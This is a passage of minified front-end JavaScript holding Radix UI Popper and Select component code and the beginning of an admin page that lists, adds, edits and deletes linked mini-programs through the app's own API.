uB="Arrow",XC=b.forwardRef((t,e)=>{const{children:n,width:r=10,height:a=5,...i}=t;return s.jsx(ht.svg,{...i,ref:e,width:r,height:a,viewBox:"0 0 30 10",preserveAspectRatio:"none",children:t.asChild?n:s.jsx("polygon",{points:"0,0 30,0 15,10"})})});XC.displayName=uB;var hB=XC,ey="Popper",[ZC,e4]=Ei(ey),[fB,t4]=ZC(ey),n4=t=>{const{__scopePopper:e,children:n}=t,[r,a]=b.useState(null);return s.jsx(fB,{scope:e,anchor:r,onAnchorChange:a,children:n})};n4.displayName=ey;var r4="PopperAnchor",s4=b.forwardRef((t,e)=>{const{__scopePopper:n,virtualRef:r,...a}=t,i=t4(r4,n),o=b.useRef(null),c=Ct(e,o),u=b.useRef(null);return b.useEffect(()=>{const h=u.current;u.current=(r==null?void 0:r.current)||o.current,h!==u.current&&i.onAnchorChange(u.current)}),r?null:s.jsx(ht.div,{...a,ref:c})});s4.displayName=r4;var ty="PopperContent",[pB,mB]=ZC(ty),a4=b.forwardRef((t,e)=>{var re,ue,ce,ye,Re,Le;const{__scopePopper:n,side:r="bottom",sideOffset:a=0,align:i="center",alignOffset:o=0,arrowPadding:c=0,avoidCollisions:u=!0,collisionBoundary:h=[],collisionPadding:f=0,sticky:m="partial",hideWhenDetached:g=!1,updatePositionStrategy:y="optimized",onPlaced:N,...w}=t,v=t4(ty,n),[k,C]=b.useState(null),E=Ct(e,lt=>C(lt)),[T,I]=b.useState(null),O=t0(T),L=(O==null?void 0:O.width)??0,R=(O==null?void 0:O.height)??0,D=r+(i!=="center"?"-"+i:""),z=typeof f=="number"?f:{top:0,right:0,bottom:0,left:0,...f},Z=Array.isArray(h)?h:[h],ne=Z.length>0,fe={padding:z,boundary:Z.filter(xB),altBoundary:ne},{refs:xe,floatingStyles:$,placement:H,isPositioned:oe,middlewareData:P}=nB({strategy:"fixed",placement:D,whileElementsMounted:(...lt)=>KF(...lt,{animationFrame:y==="always"}),elements:{reference:v.anchor},middleware:[sB({mainAxis:a+R,alignmentAxis:o}),u&&aB({mainAxis:!0,crossAxis:!1,limiter:m==="partial"?iB():void 0,...fe}),u&&oB({...fe}),lB({...fe,apply:({elements:lt,rects:Tt,availableWidth:ln,availableHeight:yt})=>{const{width:nn,height:In}=Tt.reference,Mt=lt.floating.style;Mt.setProperty("--radix-popper-available-width",`${ln}px`),Mt.setProperty("--radix-popper-available-height",`${yt}px`),Mt.setProperty("--radix-popper-anchor-width",`${nn}px`),Mt.setProperty("--radix-popper-anchor-height",`${In}px`)}}),T&&dB({element:T,padding:c}),yB({arrowWidth:L,arrowHeight:R}),g&&cB({strategy:"referenceHidden",...fe})]}),[q,B]=l4(H),_=bi(N);or(()=>{oe&&(_==null||_())},[oe,_]);const W=(re=P.arrow)==null?void 0:re.x,le=(ue=P.arrow)==null?void 0:ue.y,J=((ce=P.arrow)==null?void 0:ce.centerOffset)!==0,[Y,V]=b.useState();return or(()=>{k&&V(window.getComputedStyle(k).zIndex)},[k]),s.jsx("div",{ref:xe.setFloating,"data-radix-popper-content-wrapper":"",style:{...$,transform:oe?$.transform:"translate(0, -200%)",minWidth:"max-content",zIndex:Y,"--radix-popper-transform-origin":[(ye=P.transformOrigin)==null?void 0:ye.x,(Re=P.transformOrigin)==null?void 0:Re.y].join(" "),...((Le=P.hide)==null?void 0:Le.referenceHidden)&&{visibility:"hidden",pointerEvents:"none"}},dir:t.dir,children:s.jsx(pB,{scope:n,placedSide:q,onArrowChange:I,arrowX:W,arrowY:le,shouldHideArrow:J,children:s.jsx(ht.div,{"data-side":q,"data-align":B,...w,ref:E,style:{...w.style,animation:oe?void 0:"none"}})})})});a4.displayName=ty;var i4="PopperArrow",gB={top:"bottom",right:"left",bottom:"top",left:"right"},o4=b.forwardRef(function(e,n){const{__scopePopper:r,...a}=e,i=mB(i4,r),o=gB[i.placedSide];return s.jsx("span",{ref:i.onArrowChange,style:{position:"absolute",left:i.arrowX,top:i.arrowY,[o]:0,transformOrigin:{top:"",right:"0 0",bottom:"center 0",left:"100% 0"}[i.placedSide],transform:{top:"translateY(100%)",right:"translateY(50%) rotate(90deg) translateX(-50%)",bottom:"rotate(180deg)",left:"translateY(50%) rotate(-90deg) translateX(50%)"}[i.placedSide],visibility:i.shouldHideArrow?"hidden":void 0},children:s.jsx(hB,{...a,ref:n,style:{...a.style,display:"block"}})})});o4.displayName=i4;function xB(t){return t!==null}var yB=t=>({name:"transformOrigin",options:t,fn(e){var v,k,C;const{placement:n,rects:r,middlewareData:a}=e,o=((v=a.arrow)==null?void 0:v.centerOffset)!==0,c=o?0:t.arrowWidth,u=o?0:t.arrowHeight,[h,f]=l4(n),m={start:"0%",center:"50%",end:"100%"}[f],g=(((k=a.arrow)==null?void 0:k.x)??0)+c/2,y=(((C=a.arrow)==null?void 0:C.y)??0)+u/2;let N="",w="";return h==="bottom"?(N=o?m:`${g}px`,w=`${-u}px`):h==="top"?(N=o?m:`${g}px`,w=`${r.floating.height+u}px`):h==="right"?(N=`${-u}px`,w=o?m:`${y}px`):h==="left"&&(N=`${r.floating.width+u}px`,w=o?m:`${y}px`),{data:{x:N,y:w}}}});function l4(t){const[e,n="center"]=t.split("-");return[e,n]}var bB=n4,vB=s4,NB=a4,wB=o4,c4=Object.freeze({position:"absolute",border:0,width:1,height:1,padding:0,margin:-1,overflow:"hidden",clip:"rect(0, 0, 0, 0)",whiteSpace:"nowrap",wordWrap:"normal"}),jB="VisuallyHidden",kB=b.forwardRef((t,e)=>s.jsx(ht.span,{...t,ref:e,style:{...c4,...t.style}}));kB.displayName=jB;var SB=[" ","Enter","ArrowUp","ArrowDown"],CB=[" ","Enter"],Eo="Select",[Hf,Wf,EB]=Xx(Eo),[Vl]=Ei(Eo,[EB,e4]),Uf=e4(),[TB,Ii]=Vl(Eo),[MB,AB]=Vl(Eo),d4=t=>{const{__scopeSelect:e,children:n,open:r,defaultOpen:a,onOpenChange:i,value:o,defaultValue:c,onValueChange:u,dir:h,name:f,autoComplete:m,disabled:g,required:y,form:N}=t,w=Uf(e),[v,k]=b.useState(null),[C,E]=b.useState(null),[T,I]=b.useState(!1),O=bf(h),[L,R]=xo({prop:r,defaultProp:a??!1,onChange:i,caller:Eo}),[D,z]=xo({prop:o,defaultProp:c,onChange:u,caller:Eo}),Z=b.useRef(null),ne=v?N||!!v.closest("form"):!0,[fe,xe]=b.useState(new Set),$=Array.from(fe).map(H=>H.props.value).join(";");return s.jsx(bB,{...w,children:s.jsxs(TB,{required:y,scope:e,trigger:v,onTriggerChange:k,valueNode:C,onValueNodeChange:E,valueNodeHasChildren:T,onValueNodeHasChildrenChange:I,contentId:fi(),value:D,onValueChange:z,open:L,onOpenChange:R,dir:O,triggerPointerDownPosRef:Z,disabled:g,children:[s.jsx(Hf.Provider,{scope:e,children:s.jsx(MB,{scope:t.__scopeSelect,onNativeOptionAdd:b.useCallback(H=>{xe(oe=>new Set(oe).add(H))},[]),onNativeOptionRemove:b.useCallback(H=>{xe(oe=>{const P=new Set(oe);return P.delete(H),P})},[]),children:n})}),ne?s.jsxs(R4,{"aria-hidden":!0,required:y,tabIndex:-1,name:f,autoComplete:m,value:D,onChange:H=>z(H.target.value),disabled:g,form:N,children:[D===void 0?s.jsx("option",{value:""}):null,Array.from(fe)]},$):null]})})};d4.displayName=Eo;var u4="SelectTrigger",h4=b.forwardRef((t,e)=>{const{__scopeSelect:n,disabled:r=!1,...a}=t,i=Uf(n),o=Ii(u4,n),c=o.disabled||r,u=Ct(e,o.onTriggerChange),h=Wf(n),f=b.useRef("touch"),[m,g,y]=O4(w=>{const v=h().filter(E=>!E.disabled),k=v.find(E=>E.value===o.value),C=D4(v,w,k);C!==void 0&&o.onValueChange(C.value)}),N=w=>{c||(o.onOpenChange(!0),y()),w&&(o.triggerPointerDownPosRef.current={x:Math.round(w.pageX),y:Math.round(w.pageY)})};return s.jsx(vB,{asChild:!0,...i,children:s.jsx(ht.button,{type:"button",role:"combobox","aria-controls":o.contentId,"aria-expanded":o.open,"aria-required":o.required,"aria-autocomplete":"none",dir:o.dir,"data-state":o.open?"open":"closed",disabled:c,"data-disabled":c?"":void 0,"data-placeholder":P4(o.value)?"":void 0,...a,ref:u,onClick:ot(a.onClick,w=>{w.currentTarget.focus(),f.current!=="mouse"&&N(w)}),onPointerDown:ot(a.onPointerDown,w=>{f.current=w.pointerType;const v=w.target;v.hasPointerCapture(w.pointerId)&&v.releasePointerCapture(w.pointerId),w.button===0&&w.ctrlKey===!1&&w.pointerType==="mouse"&&(N(w),w.preventDefault())}),onKeyDown:ot(a.onKeyDown,w=>{const v=m.current!=="";!(w.ctrlKey||w.altKey||w.metaKey)&&w.key.length===1&&g(w.key),!(v&&w.key===" ")&&SB.includes(w.key)&&(N(),w.preventDefault())})})})});h4.displayName=u4;var f4="SelectValue",p4=b.forwardRef((t,e)=>{const{__scopeSelect:n,className:r,style:a,children:i,placeholder:o="",...c}=t,u=Ii(f4,n),{onValueNodeHasChildrenChange:h}=u,f=i!==void 0,m=Ct(e,u.onValueNodeChange);return or(()=>{h(f)},[h,f]),s.jsx(ht.span,{...c,ref:m,style:{pointerEvents:"none"},children:P4(u.value)?s.jsx(s.Fragment,{children:o}):i})});p4.displayName=f4;var IB="SelectIcon",m4=b.forwardRef((t,e)=>{const{__scopeSelect:n,children:r,...a}=t;return s.jsx(ht.span,{"aria-hidden":!0,...a,ref:e,children:r||"▼"})});m4.displayName=IB;var RB="SelectPortal",g4=t=>s.jsx(qx,{asChild:!0,...t});g4.displayName=RB;var To="SelectContent",x4=b.forwardRef((t,e)=>{const n=Ii(To,t.__scopeSelect),[r,a]=b.useState();if(or(()=>{a(new DocumentFragment)},[]),!n.open){const i=r;return i?md.createPortal(s.jsx(y4,{scope:t.__scopeSelect,children:s.jsx(Hf.Slot,{scope:t.__scopeSelect,children:s.jsx("div",{children:t.children})})}),i):null}return s.jsx(b4,{...t,ref:e})});x4.displayName=To;var ws=10,[y4,Ri]=Vl(To),PB="SelectContentImpl",OB=ed("SelectContent.RemoveScroll"),b4=b.forwardRef((t,e)=>{const{__scopeSelect:n,position:r="item-aligned",onCloseAutoFocus:a,onEscapeKeyDown:i,onPointerDownOutside:o,side:c,sideOffset:u,align:h,alignOffset:f,arrowPadding:m,collisionBoundary:g,collisionPadding:y,sticky:N,hideWhenDetached:w,avoidCollisions:v,...k}=t,C=Ii(To,n),[E,T]=b.useState(null),[I,O]=b.useState(null),L=Ct(e,re=>T(re)),[R,D]=b.useState(null),[z,Z]=b.useState(null),ne=Wf(n),[fe,xe]=b.useState(!1),$=b.useRef(!1);b.useEffect(()=>{if(E)return Oj(E)},[E]),Sj();const H=b.useCallback(re=>{const[ue,...ce]=ne().map(Le=>Le.ref.current),[ye]=ce.slice(-1),Re=document.activeElement;for(const Le of re)if(Le===Re||(Le==null||Le.scrollIntoView({block:"nearest"}),Le===ue&&I&&(I.scrollTop=0),Le===ye&&I&&(I.scrollTop=I.scrollHeight),Le==null||Le.focus(),document.activeElement!==Re))return},[ne,I]),oe=b.useCallback(()=>H([R,E]),[H,R,E]);b.useEffect(()=>{fe&&oe()},[fe,oe]);const{onOpenChange:P,triggerPointerDownPosRef:q}=C;b.useEffect(()=>{if(E){let re={x:0,y:0};const ue=ye=>{var Re,Le;re={x:Math.abs(Math.round(ye.pageX)-(((Re=q.current)==null?void 0:Re.x)??0)),y:Math.abs(Math.round(ye.pageY)-(((Le=q.current)==null?void 0:Le.y)??0))}},ce=ye=>{re.x<=10&&re.y<=10?ye.preventDefault():E.contains(ye.target)||P(!1),document.removeEventListener("pointermove",ue),q.current=null};return q.current!==null&&(document.addEventListener("pointermove",ue),document.addEventListener("pointerup",ce,{capture:!0,once:!0})),()=>{document.removeEventListener("pointermove",ue),document.removeEventListener("pointerup",ce,{capture:!0})}}},[E,P,q]),b.useEffect(()=>{const re=()=>P(!1);return window.addEventListener("blur",re),window.addEventListener("resize",re),()=>{window.removeEventListener("blur",re),window.removeEventListener("resize",re)}},[P]);const[B,_]=O4(re=>{const ue=ne().filter(Re=>!Re.disabled),ce=ue.find(Re=>Re.ref.current===document.activeElement),ye=D4(ue,re,ce);ye&&setTimeout(()=>ye.ref.current.focus())}),W=b.useCallback((re,ue,ce)=>{const ye=!$.current&&!ce;(C.value!==void 0&&C.value===ue||ye)&&(D(re),ye&&($.current=!0))},[C.value]),le=b.useCallback(()=>E==null?void 0:E.focus(),[E]),J=b.useCallback((re,ue,ce)=>{const ye=!$.current&&!ce;(C.value!==void 0&&C.value===ue||ye)&&Z(re)},[C.value]),Y=r==="popper"?Ix:v4,V=Y===Ix?{side:c,sideOffset:u,align:h,alignOffset:f,arrowPadding:m,collisionBoundary:g,collisionPadding:y,sticky:N,hideWhenDetached:w,avoidCollisions:v}:{};return s.jsx(y4,{scope:n,content:E,viewport:I,onViewportChange:O,itemRefCallback:W,selectedItem:R,onItemLeave:le,itemTextRefCallback:J,focusSelectedItem:oe,selectedItemText:z,position:r,isPositioned:fe,searchRef:B,children:s.jsx(Gx,{as:OB,allowPinchZoom:!0,children:s.jsx(Kx,{asChild:!0,trapped:C.open,onMountAutoFocus:re=>{re.preventDefault()},onUnmountAutoFocus:ot(a,re=>{var ue;(ue=C.trigger)==null||ue.focus({preventScroll:!0}),re.preventDefault()}),children:s.jsx(Ux,{asChild:!0,disableOutsidePointerEvents:!0,onEscapeKeyDown:i,onPointerDownOutside:o,onFocusOutside:re=>re.preventDefault(),onDismiss:()=>C.onOpenChange(!1),children:s.jsx(Y,{role:"listbox",id:C.contentId,"data-state":C.open?"open":"closed",dir:C.dir,onContextMenu:re=>re.preventDefault(),...k,...V,onPlaced:()=>xe(!0),ref:L,style:{display:"flex",flexDirection:"column",outline:"none",...k.style},onKeyDown:ot(k.onKeyDown,re=>{const ue=re.ctrlKey||re.altKey||re.metaKey;if(re.key==="Tab"&&re.preventDefault(),!ue&&re.key.length===1&&_(re.key),["ArrowUp","ArrowDown","Home","End"].includes(re.key)){let ye=ne().filter(Re=>!Re.disabled).map(Re=>Re.ref.current);if(["ArrowUp","End"].includes(re.key)&&(ye=ye.slice().reverse()),["ArrowUp","ArrowDown"].includes(re.key)){const Re=re.target,Le=ye.indexOf(Re);ye=ye.slice(Le+1)}setTimeout(()=>H(ye)),re.preventDefault()}})})})})})})});b4.displayName=PB;var DB="SelectItemAlignedPosition",v4=b.forwardRef((t,e)=>{const{__scopeSelect:n,onPlaced:r,...a}=t,i=Ii(To,n),o=Ri(To,n),[c,u]=b.useState(null),[h,f]=b.useState(null),m=Ct(e,L=>f(L)),g=Wf(n),y=b.useRef(!1),N=b.useRef(!0),{viewport:w,selectedItem:v,selectedItemText:k,focusSelectedItem:C}=o,E=b.useCallback(()=>{if(i.trigger&&i.valueNode&&c&&h&&w&&v&&k){const L=i.trigger.getBoundingClientRect(),R=h.getBoundingClientRect(),D=i.valueNode.getBoundingClientRect(),z=k.getBoundingClientRect();if(i.dir!=="rtl"){const Re=z.left-R.left,Le=D.left-Re,lt=L.left-Le,Tt=L.width+lt,ln=Math.max(Tt,R.width),yt=window.innerWidth-ws,nn=mh(Le,[ws,Math.max(ws,yt-ln)]);c.style.minWidth=Tt+"px",c.style.left=nn+"px"}else{const Re=R.right-z.right,Le=window.innerWidth-D.right-Re,lt=window.innerWidth-L.right-Le,Tt=L.width+lt,ln=Math.max(Tt,R.width),yt=window.innerWidth-ws,nn=mh(Le,[ws,Math.max(ws,yt-ln)]);c.style.minWidth=Tt+"px",c.style.right=nn+"px"}const Z=g(),ne=window.innerHeight-ws*2,fe=w.scrollHeight,xe=window.getComputedStyle(h),$=parseInt(xe.borderTopWidth,10),H=parseInt(xe.paddingTop,10),oe=parseInt(xe.borderBottomWidth,10),P=parseInt(xe.paddingBottom,10),q=$+H+fe+P+oe,B=Math.min(v.offsetHeight*5,q),_=window.getComputedStyle(w),W=parseInt(_.paddingTop,10),le=parseInt(_.paddingBottom,10),J=L.top+L.height/2-ws,Y=ne-J,V=v.offsetHeight/2,re=v.offsetTop+V,ue=$+H+re,ce=q-ue;if(ue<=J){const Re=Z.length>0&&v===Z[Z.length-1].ref.current;c.style.bottom="0px";const Le=h.clientHeight-w.offsetTop-w.offsetHeight,lt=Math.max(Y,V+(Re?le:0)+Le+oe),Tt=ue+lt;c.style.height=Tt+"px"}else{const Re=Z.length>0&&v===Z[0].ref.current;c.style.top="0px";const lt=Math.max(J,$+w.offsetTop+(Re?W:0)+V)+ce;c.style.height=lt+"px",w.scrollTop=ue-J+w.offsetTop}c.style.margin=`${ws}px 0`,c.style.minHeight=B+"px",c.style.maxHeight=ne+"px",r==null||r(),requestAnimationFrame(()=>y.current=!0)}},[g,i.trigger,i.valueNode,c,h,w,v,k,i.dir,r]);or(()=>E(),[E]);const[T,I]=b.useState();or(()=>{h&&I(window.getComputedStyle(h).zIndex)},[h]);const O=b.useCallback(L=>{L&&N.current===!0&&(E(),C==null||C(),N.current=!1)},[E,C]);return s.jsx(_B,{scope:n,contentWrapper:c,shouldExpandOnScrollRef:y,onScrollButtonChange:O,children:s.jsx("div",{ref:u,style:{display:"flex",flexDirection:"column",position:"fixed",zIndex:T},children:s.jsx(ht.div,{...a,ref:m,style:{boxSizing:"border-box",maxHeight:"100%",...a.style}})})})});v4.displayName=DB;var LB="SelectPopperPosition",Ix=b.forwardRef((t,e)=>{const{__scopeSelect:n,align:r="start",collisionPadding:a=ws,...i}=t,o=Uf(n);return s.jsx(NB,{...o,...i,ref:e,align:r,collisionPadding:a,style:{boxSizing:"border-box",...i.style,"--radix-select-content-transform-origin":"var(--radix-popper-transform-origin)","--radix-select-content-available-width":"var(--radix-popper-available-width)","--radix-select-content-available-height":"var(--radix-popper-available-height)","--radix-select-trigger-width":"var(--radix-popper-anchor-width)","--radix-select-trigger-height":"var(--radix-popper-anchor-height)"}})});Ix.displayName=LB;var[_B,ny]=Vl(To,{}),Rx="SelectViewport",N4=b.forwardRef((t,e)=>{const{__scopeSelect:n,nonce:r,...a}=t,i=Ri(Rx,n),o=ny(Rx,n),c=Ct(e,i.onViewportChange),u=b.useRef(0);return s.jsxs(s.Fragment,{children:[s.jsx("style",{dangerouslySetInnerHTML:{__html:"[data-radix-select-viewport]{scrollbar-width:none;-ms-overflow-style:none;-webkit-overflow-scrolling:touch;}[data-radix-select-viewport]::-webkit-scrollbar{display:none}"},nonce:r}),s.jsx(Hf.Slot,{scope:n,children:s.jsx(ht.div,{"data-radix-select-viewport":"",role:"presentation",...a,ref:c,style:{position:"relative",flex:1,overflow:"hidden auto",...a.style},onScroll:ot(a.onScroll,h=>{const f=h.currentTarget,{contentWrapper:m,shouldExpandOnScrollRef:g}=o;if(g!=null&&g.current&&m){const y=Math.abs(u.current-f.scrollTop);if(y>0){const N=window.innerHeight-ws*2,w=parseFloat(m.style.minHeight),v=parseFloat(m.style.height),k=Math.max(w,v);if(k0?T:0,m.style.justifyContent="flex-end")}}}u.current=f.scrollTop})})})]})});N4.displayName=Rx;var w4="SelectGroup",[zB,$B]=Vl(w4),FB=b.forwardRef((t,e)=>{const{__scopeSelect:n,...r}=t,a=fi();return s.jsx(zB,{scope:n,id:a,children:s.jsx(ht.div,{role:"group","aria-labelledby":a,...r,ref:e})})});FB.displayName=w4;var j4="SelectLabel",BB=b.forwardRef((t,e)=>{const{__scopeSelect:n,...r}=t,a=$B(j4,n);return s.jsx(ht.div,{id:a.id,...r,ref:e})});BB.displayName=j4;var df="SelectItem",[VB,k4]=Vl(df),S4=b.forwardRef((t,e)=>{const{__scopeSelect:n,value:r,disabled:a=!1,textValue:i,...o}=t,c=Ii(df,n),u=Ri(df,n),h=c.value===r,[f,m]=b.useState(i??""),[g,y]=b.useState(!1),N=Ct(e,C=>{var E;return(E=u.itemRefCallback)==null?void 0:E.call(u,C,r,a)}),w=fi(),v=b.useRef("touch"),k=()=>{a||(c.onValueChange(r),c.onOpenChange(!1))};if(r==="")throw new Error("A must have a value prop that is not an empty string. This is because the Select value can be set to an empty string to clear the selection and show the placeholder.");return s.jsx(VB,{scope:n,value:r,disabled:a,textId:w,isSelected:h,onItemTextChange:b.useCallback(C=>{m(E=>E||((C==null?void 0:C.textContent)??"").trim())},[]),children:s.jsx(Hf.ItemSlot,{scope:n,value:r,disabled:a,textValue:f,children:s.jsx(ht.div,{role:"option","aria-labelledby":w,"data-highlighted":g?"":void 0,"aria-selected":h&&g,"data-state":h?"checked":"unchecked","aria-disabled":a||void 0,"data-disabled":a?"":void 0,tabIndex:a?void 0:-1,...o,ref:N,onFocus:ot(o.onFocus,()=>y(!0)),onBlur:ot(o.onBlur,()=>y(!1)),onClick:ot(o.onClick,()=>{v.current!=="mouse"&&k()}),onPointerUp:ot(o.onPointerUp,()=>{v.current==="mouse"&&k()}),onPointerDown:ot(o.onPointerDown,C=>{v.current=C.pointerType}),onPointerMove:ot(o.onPointerMove,C=>{var E;v.current=C.pointerType,a?(E=u.onItemLeave)==null||E.call(u):v.current==="mouse"&&C.currentTarget.focus({preventScroll:!0})}),onPointerLeave:ot(o.onPointerLeave,C=>{var E;C.currentTarget===document.activeElement&&((E=u.onItemLeave)==null||E.call(u))}),onKeyDown:ot(o.onKeyDown,C=>{var T;((T=u.searchRef)==null?void 0:T.current)!==""&&C.key===" "||(CB.includes(C.key)&&k(),C.key===" "&&C.preventDefault())})})})})});S4.displayName=df;var Dc="SelectItemText",C4=b.forwardRef((t,e)=>{const{__scopeSelect:n,className:r,style:a,...i}=t,o=Ii(Dc,n),c=Ri(Dc,n),u=k4(Dc,n),h=AB(Dc,n),[f,m]=b.useState(null),g=Ct(e,k=>m(k),u.onItemTextChange,k=>{var C;return(C=c.itemTextRefCallback)==null?void 0:C.call(c,k,u.value,u.disabled)}),y=f==null?void 0:f.textContent,N=b.useMemo(()=>s.jsx("option",{value:u.value,disabled:u.disabled,children:y},u.value),[u.disabled,u.value,y]),{onNativeOptionAdd:w,onNativeOptionRemove:v}=h;return or(()=>(w(N),()=>v(N)),[w,v,N]),s.jsxs(s.Fragment,{children:[s.jsx(ht.span,{id:u.textId,...i,ref:g}),u.isSelected&&o.valueNode&&!o.valueNodeHasChildren?md.createPortal(i.children,o.valueNode):null]})});C4.displayName=Dc;var E4="SelectItemIndicator",T4=b.forwardRef((t,e)=>{const{__scopeSelect:n,...r}=t;return k4(E4,n).isSelected?s.jsx(ht.span,{"aria-hidden":!0,...r,ref:e}):null});T4.displayName=E4;var Px="SelectScrollUpButton",M4=b.forwardRef((t,e)=>{const n=Ri(Px,t.__scopeSelect),r=ny(Px,t.__scopeSelect),[a,i]=b.useState(!1),o=Ct(e,r.onScrollButtonChange);return or(()=>{if(n.viewport&&n.isPositioned){let c=function(){const h=u.scrollTop>0;i(h)};const u=n.viewport;return c(),u.addEventListener("scroll",c),()=>u.removeEventListener("scroll",c)}},[n.viewport,n.isPositioned]),a?s.jsx(I4,{...t,ref:o,onAutoScroll:()=>{const{viewport:c,selectedItem:u}=n;c&&u&&(c.scrollTop=c.scrollTop-u.offsetHeight)}}):null});M4.displayName=Px;var Ox="SelectScrollDownButton",A4=b.forwardRef((t,e)=>{const n=Ri(Ox,t.__scopeSelect),r=ny(Ox,t.__scopeSelect),[a,i]=b.useState(!1),o=Ct(e,r.onScrollButtonChange);return or(()=>{if(n.viewport&&n.isPositioned){let c=function(){const h=u.scrollHeight-u.clientHeight,f=Math.ceil(u.scrollTop)u.removeEventListener("scroll",c)}},[n.viewport,n.isPositioned]),a?s.jsx(I4,{...t,ref:o,onAutoScroll:()=>{const{viewport:c,selectedItem:u}=n;c&&u&&(c.scrollTop=c.scrollTop+u.offsetHeight)}}):null});A4.displayName=Ox;var I4=b.forwardRef((t,e)=>{const{__scopeSelect:n,onAutoScroll:r,...a}=t,i=Ri("SelectScrollButton",n),o=b.useRef(null),c=Wf(n),u=b.useCallback(()=>{o.current!==null&&(window.clearInterval(o.current),o.current=null)},[]);return b.useEffect(()=>()=>u(),[u]),or(()=>{var f;const h=c().find(m=>m.ref.current===document.activeElement);(f=h==null?void 0:h.ref.current)==null||f.scrollIntoView({block:"nearest"})},[c]),s.jsx(ht.div,{"aria-hidden":!0,...a,ref:e,style:{flexShrink:0,...a.style},onPointerDown:ot(a.onPointerDown,()=>{o.current===null&&(o.current=window.setInterval(r,50))}),onPointerMove:ot(a.onPointerMove,()=>{var h;(h=i.onItemLeave)==null||h.call(i),o.current===null&&(o.current=window.setInterval(r,50))}),onPointerLeave:ot(a.onPointerLeave,()=>{u()})})}),HB="SelectSeparator",WB=b.forwardRef((t,e)=>{const{__scopeSelect:n,...r}=t;return s.jsx(ht.div,{"aria-hidden":!0,...r,ref:e})});WB.displayName=HB;var Dx="SelectArrow",UB=b.forwardRef((t,e)=>{const{__scopeSelect:n,...r}=t,a=Uf(n),i=Ii(Dx,n),o=Ri(Dx,n);return i.open&&o.position==="popper"?s.jsx(wB,{...a,...r,ref:e}):null});UB.displayName=Dx;var KB="SelectBubbleInput",R4=b.forwardRef(({__scopeSelect:t,value:e,...n},r)=>{const a=b.useRef(null),i=Ct(r,a),o=e0(e);return b.useEffect(()=>{const c=a.current;if(!c)return;const u=window.HTMLSelectElement.prototype,f=Object.getOwnPropertyDescriptor(u,"value").set;if(o!==e&&f){const m=new Event("change",{bubbles:!0});f.call(c,e),c.dispatchEvent(m)}},[o,e]),s.jsx(ht.select,{...n,style:{...c4,...n.style},ref:i,defaultValue:e})});R4.displayName=KB;function P4(t){return t===""||t===void 0}function O4(t){const e=bi(t),n=b.useRef(""),r=b.useRef(0),a=b.useCallback(o=>{const c=n.current+o;e(c),(function u(h){n.current=h,window.clearTimeout(r.current),h!==""&&(r.current=window.setTimeout(()=>u(""),1e3))})(c)},[e]),i=b.useCallback(()=>{n.current="",window.clearTimeout(r.current)},[]);return b.useEffect(()=>()=>window.clearTimeout(r.current),[]),[n,a,i]}function D4(t,e,n){const a=e.length>1&&Array.from(e).every(h=>h===e[0])?e[0]:e,i=n?t.indexOf(n):-1;let o=qB(t,Math.max(i,0));a.length===1&&(o=o.filter(h=>h!==n));const u=o.find(h=>h.textValue.toLowerCase().startsWith(a.toLowerCase()));return u!==n?u:void 0}function qB(t,e){return t.map((n,r)=>t[(e+r)%t.length])}var GB=d4,L4=h4,JB=p4,YB=m4,QB=g4,_4=x4,XB=N4,z4=S4,ZB=C4,eV=T4,tV=M4,nV=A4;const hl=GB,fl=JB,no=b.forwardRef(({className:t,children:e,...n},r)=>s.jsxs(L4,{ref:r,className:Et("flex h-10 w-full items-center justify-between rounded-md border border-input bg-background px-3 py-2 text-sm placeholder:text-muted-foreground focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50 [&>span]:line-clamp-1",t),...n,children:[e,s.jsx(YB,{asChild:!0,children:s.jsx(Zc,{className:"h-4 w-4 opacity-50"})})]}));no.displayName=L4.displayName;const ro=b.forwardRef(({className:t,children:e,position:n="popper",...r},a)=>s.jsx(QB,{children:s.jsxs(_4,{ref:a,className:Et("relative z-50 max-h-96 min-w-[8rem] overflow-hidden rounded-md border bg-popover text-popover-foreground shadow-md",n==="popper"&&"data-[side=bottom]:translate-y-1",t),position:n,...r,children:[s.jsx(tV,{className:"flex cursor-default items-center justify-center py-1",children:s.jsx(Kw,{className:"h-4 w-4"})}),s.jsx(XB,{className:"p-1",children:e}),s.jsx(nV,{className:"flex cursor-default items-center justify-center py-1",children:s.jsx(Zc,{className:"h-4 w-4"})})]})}));ro.displayName=_4.displayName;const _r=b.forwardRef(({className:t,children:e,...n},r)=>s.jsxs(z4,{ref:r,className:Et("relative flex w-full cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",t),...n,children:[s.jsx("span",{className:"absolute left-2 flex h-3.5 w-3.5 items-center justify-center",children:s.jsx(eV,{children:s.jsx(ff,{className:"h-4 w-4"})})}),s.jsx(ZB,{children:e})]}));_r.displayName=z4.displayName;function rV(){const[t,e]=b.useState([]),[n,r]=b.useState(!0),[a,i]=b.useState(!1),[o,c]=b.useState(null),[u,h]=b.useState({name:"",appId:"",path:"",sort:0}),[f,m]=b.useState(!1);async function g(){r(!0);try{const k=await De("/api/admin/linked-miniprograms");if(k!=null&&k.success&&Array.isArray(k.data)){const C=[...k.data].sort((E,T)=>(E.sort??0)-(T.sort??0));e(C)}}catch(k){console.error("Load linked miniprograms error:",k),ie.error("加载失败")}finally{r(!1)}}b.useEffect(()=>{g()},[]);function y(){c(null),h({name:"",appId:"",path:"",sort:t.length}),i(!0)}function N(k){c(k),h({name:k.name,appId:k.appId,path:k.path??"",sort:k.sort??0}),i(!0)}async function w(){const k=u.name.trim(),C=u.appId.trim();if(!k||!C){ie.error("请填写小程序名称和 AppID");return}m(!0);try{if(o){const E=await zt("/api/admin/linked-miniprograms",{key:o.key,name:k,appId:C,path:u.path.trim(),sort:u.sort});E!=null&&E.success?(ie.success("已更新"),i(!1),g()):ie.error((E==null?void 0:E.error)??"更新失败")}else{const E=await vt("/api/admin/linked-miniprograms",{name:k,appId:C,path:u.path.trim(),sort:u.sort});E!=null&&E.success?(ie.success("已添加"),i(!1),g()):ie.error((E==null?void 0:E.error)??"添加失败")}}catch{ie.error("操作失败")}finally{m(!1)}}async function v(k){if(confirm(`确定要删除「${k.name}」吗?`))try{const C=await Bs(`/api/admin/linked-miniprograms/${k.key}`);C!=null&&C.success?(ie.success("已删除"),g()):ie.error((C==null?void 0:C.error)??"删除失败")}catch{ie.error("删除失败")}}return s.jsxs("div",{className:"space-y-6",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 